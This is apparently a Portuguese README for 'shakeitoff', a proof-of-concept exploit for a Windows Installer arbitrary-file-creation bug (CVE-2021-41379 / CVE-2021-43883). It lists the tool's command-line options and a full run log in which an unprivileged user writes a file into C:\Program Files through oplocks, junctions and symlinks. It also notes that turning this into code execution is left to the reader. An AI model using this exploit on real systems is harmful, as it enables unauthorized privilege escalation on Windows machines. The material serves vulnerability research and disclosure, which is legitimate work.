shakeitoff

Uma versão menor, minimizada e mais limpa do InstallerFileTakeOver também conhecido como o exploit de dia zero que é uma "variação" do CVE-2021-41379 (posteriormente atribuído CVE-2021-43883). Esta versão não abre uma shell como o InstallerFileTakeOver. O objetivo deste código foi criar uma prova de conceito mais simples que demonstre de forma mais confiável o ataque de criação de arquivos. Esta prova de conceito criará o arquivo arbitrário solicitado pelo usuário (e se copiará para ele para provar a capacidade de escrita). Demonstrar a execução de código é um exercício trivial deixado para o leitor.

Para entender como o ataque funciona, veja o artigo do AttackerKB.

Uso

A ferramenta requer três parâmetros:

C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
  -h, --help              produce help message
  -m, --msi_path arg      The path to the MSI to install
  -i, --install_path arg  The path to install to
  -p, --target_path arg   The file to create

1. -m - o msi a ser instalado (caminho completo obrigatório). Um é fornecido neste repositório (e você deve usá-lo, pois os caminhos dos arquivos realmente importam).
2. -i - o caminho de instalação (caminho completo obrigatório). É onde o msi é instalado / o exploit ocorre. O usuário deve especificar isso previamente e deve ser um diretório vazio. A ferramenta não o limpa porque ajuda a entender o bug mais facilmente. Também deve haver uma \ no final porque sou um monstro.
3. -p - o arquivo a ser sobrescrito/criado. Caminho completo obrigatório.

A PoC apenas se copiará para o arquivo de destino.

Exemplo de Uso

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

File Not Found

C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

12/02/2021  02:01 PM           368,640 lol
               1 File(s)        368,640 bytes
               0 Dir(s)  86,015,610,880 bytes free

Créditos

• Este código é influenciado pelo exploit original publicado por Abdelhamid Naceri (também o descobridor original da vulnerabilidade!).
• O código FileOpLock é uma versão (ligeiramente modificada) extraída do angrypolarbearbug2
• Taylor Swift